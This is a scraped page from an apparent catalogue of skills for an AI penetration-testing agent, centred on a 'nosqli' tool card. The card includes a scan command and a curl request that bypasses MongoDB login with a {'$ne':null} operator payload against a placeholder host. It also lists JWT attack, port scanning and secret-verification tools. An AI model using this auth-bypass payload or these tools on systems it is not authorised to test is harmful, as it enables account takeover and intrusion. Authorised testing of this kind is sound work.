菜单
[exploit] Detect and exploit NoSQL injection (primarily MongoDB-style operator injection) on a live endpoint. Reach for it when the backend is a NoSQL store and login/query params may accept operator payloads.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
[exploit] Inspect and attack JSON Web Tokens — alg:none, key confusion (RS256→HS256), weak-secret cracking, claim tampering. Reach for it whenever the app authenticates with JWTs to test signature and verification flaws.
[recon] Fast SYN/CONNECT port scanner for hosts/CIDRs (Go, libpcap). Reach for it to find open ports across many hosts quickly, then hand the open services to nmap for deep fingerprinting.
[static-analysis] All-in-one scanner over the connected repo: dependency CVEs across MANY ecosystems (npm, NuGet/.NET, Maven, Go, pip, RubyGems…), plus IaC/Dockerfile/Kubernetes misconfig and a filesystem secret sweep. Reach for it in pre-recon/vuln-analysis for SCA on stacks osv-scanner under-covers and for deeper infra-misconfig than generic SAST.
[static-analysis] Static code analysis (SAST) over the connected repo — taint/pattern rules per vuln category, no live traffic. Reach for it in vuln-analysis to locate vulnerable code at file:line that DAST then confirms.
[static-analysis] Find secrets in a repo/history/filesystem and LIVE-VERIFY them against the issuing provider. Reach for it in vuln-analysis when you need to separate truly-active leaked credentials from dead noise.
[static-analysis] Scan a repo's files and full git history for hardcoded secrets (keys, tokens, credentials). Reach for it in vuln-analysis to find committed secrets, including ones removed from HEAD but live in history.
| name | nosqli |
| description | [exploit] Detect and exploit NoSQL injection (primarily MongoDB-style operator injection) on a live endpoint. Reach for it when the backend is a NoSQL store and login/query params may accept operator payloads. |
nosqli (Go; pinned git-clone commit in tools.lock — the project is years
stale and has no documented @latest). Targets NoSQL (chiefly MongoDB) operator
injection such as auth bypass via $ne/$gt and boolean/error-based extraction.
Live → exploitation phase.
nosqli scan -t "<url>" target URL (subcommand-style CLI).-r req.txt request file; -p <param> focus a parameter; -u/-w user/pass field hints.--method GET|POST; flag surface is minimal and version-specific.nosqli --help / nosqli scan --help before relying on a flag.# Scan a login endpoint for NoSQL operator injection
nosqli scan -t "https://target.example.com/api/login" --method POST
Stale tool: confirm the exact subcommand/flags with
--help. If a flag is uncertain, fall back to a manual curl operator probe (below) and say so.
Manual cross-check (MongoDB operator-injection auth bypass):
curl -sS "https://target.example.com/api/login" \
-H 'Content-Type: application/json' \
-d '{"user":"admin","pass":{"$ne":null}}'
{"$ne":null} returning an authed session),
exact request/response. Map to CWE-943 (improper neutralization in a data query).